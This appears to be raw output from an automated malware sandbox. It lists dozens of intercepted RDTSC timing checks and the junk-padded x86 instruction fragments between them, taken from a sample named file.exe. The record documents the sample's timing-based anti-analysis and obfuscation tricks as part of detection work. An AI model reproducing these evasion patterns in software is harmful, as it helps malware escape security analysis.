Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C74B4 second address: 6C74D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FF8A11CF040h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7632 second address: 6C7636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D0787 second address: 6D079C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF040h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE7A4 second address: 6CE7BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF8A119817Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE7BC second address: 6CE7C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE7C0 second address: 6CE7C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CED2F second address: 6CED35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CED35 second address: 6CED39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF021 second address: 6CF029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF029 second address: 6CF048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A1198189h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF048 second address: 6CF04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF04D second address: 6CF05F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF8A119817Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF05F second address: 6CF063 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF063 second address: 6CF069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF33F second address: 6CF35B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A11CF048h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF5FB second address: 6CF607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF8A1198176h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF607 second address: 6CF60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF60C second address: 6CF642 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF8A1198178h 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007FF8A1198185h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF8A1198182h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF642 second address: 6CF64B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF950 second address: 6CF965 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A119817Bh 0x00000007 jc 00007FF8A119817Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D04C6 second address: 6D04E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF047h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1DFB second address: 6D1E09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1E09 second address: 6D1E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1E0E second address: 6D1E14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1E14 second address: 6D1E18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D6BD5 second address: 6D6C03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198189h 0x00000007 jmp 00007FF8A119817Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D6C03 second address: 6D6C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D6C08 second address: 6D6C12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FF8A1198176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DAD50 second address: 6DAD56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA338 second address: 6DA33E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA48F second address: 6DA495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA495 second address: 6DA499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA798 second address: 6DA79C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA8F5 second address: 6DA909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A1198180h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA909 second address: 6DA90D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E25D9 second address: 6E2600 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF8A1198176h 0x00000008 ja 00007FF8A1198176h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FF8A1198187h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2600 second address: 6E262F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FF8A11CF042h 0x0000000a jnl 00007FF8A11CF036h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jmp 00007FF8A11CF03Bh 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E262F second address: 6E2658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pushad 0x00000008 ja 00007FF8A1198176h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007FF8A1198185h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E277F second address: 6E27A0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007FF8A11CF03Ch 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jl 00007FF8A11CF036h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E27A0 second address: 6E27BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198187h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E27BB second address: 6E27C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E27C1 second address: 6E27E0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FF8A119817Ah 0x0000000a pop ebx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FF8A119817Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EAB63 second address: 6EAB69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA67C second address: 6EA680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA680 second address: 6EA6A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF8A11CF041h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FF8A11CF03Ch 0x00000014 ja 00007FF8A11CF036h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA7ED second address: 6EA7F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA7F6 second address: 6EA804 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF8A11CF038h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA804 second address: 6EA80E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF8A1198176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6859 second address: 6F685E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8E70 second address: 6F8E7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8E7A second address: 6F8E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF8A11CF036h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F900C second address: 6F9020 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FF8A1198176h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007FF8A1198176h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC4D4 second address: 6FC506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FF8A11CF043h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007FF8A11CF03Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 jns 00007FF8A11CF036h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC506 second address: 6FC51C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A119817Ch 0x00000007 jl 00007FF8A1198176h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC51C second address: 6FC522 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC21D second address: 6FC223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 706AE6 second address: 706AF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF03Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 706AF8 second address: 706B1C instructions: 0x00000000 rdtsc 0x00000002 js 00007FF8A1198176h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007FF8A119817Ch 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 jns 00007FF8A1198176h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 706B1C second address: 706B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FF8A11CF03Bh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 706B2C second address: 706B32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 706B32 second address: 706B44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CB63 second address: 70CB67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CB67 second address: 70CB80 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FF8A11CF03Ah 0x0000000c push ebx 0x0000000d jo 00007FF8A11CF03Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718CB9 second address: 718CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF8A1198176h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717869 second address: 717874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717874 second address: 717878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717878 second address: 717882 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7179D8 second address: 7179E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717DF6 second address: 717E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF8A11CF045h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717E14 second address: 717E18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C68A second address: 71C693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C693 second address: 71C697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C23F second address: 71C244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729991 second address: 729995 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729995 second address: 72999D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72999D second address: 7299A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727D1F second address: 727D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727D25 second address: 727D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727D30 second address: 727D36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727D36 second address: 727D4A instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF8A1198176h 0x00000008 jmp 00007FF8A119817Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727D4A second address: 727D51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D8C5 second address: 73D8F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FF8A119817Eh 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FF8A1198187h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7405C0 second address: 7405D3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jc 00007FF8A11CF036h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7405D3 second address: 7405F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 jne 00007FF8A119817Ch 0x0000000f jng 00007FF8A1198176h 0x00000015 popad 0x00000016 pushad 0x00000017 jl 00007FF8A119817Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7405F2 second address: 740624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF03Dh 0x00000009 jmp 00007FF8A11CF03Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF8A11CF03Bh 0x00000015 je 00007FF8A11CF036h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75983A second address: 759841 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759841 second address: 759847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759847 second address: 759855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jnl 00007FF8A1198176h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7587BF second address: 7587C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75893D second address: 758943 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758A70 second address: 758A96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF040h 0x00000009 jmp 00007FF8A11CF041h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758D32 second address: 758D38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C16F second address: 75C17B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C17B second address: 75C180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C180 second address: 75C18E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A11CF03Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7614E5 second address: 7614E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7614E9 second address: 7614FC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jng 00007FF8A11CF036h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90DB6 second address: 4F90DC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A119817Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90DC5 second address: 4F90DCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90DCA second address: 4F90DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90DD0 second address: 4F90E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ecx, dword ptr [eax+00000FDCh] 0x0000000d pushad 0x0000000e call 00007FF8A11CF047h 0x00000013 mov ax, E77Fh 0x00000017 pop eax 0x00000018 pushfd 0x00000019 jmp 00007FF8A11CF045h 0x0000001e add eax, 7AF2C826h 0x00000024 jmp 00007FF8A11CF041h 0x00000029 popfd 0x0000002a popad 0x0000002b test ecx, ecx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FF8A11CF03Dh 0x00000034 rdtsc
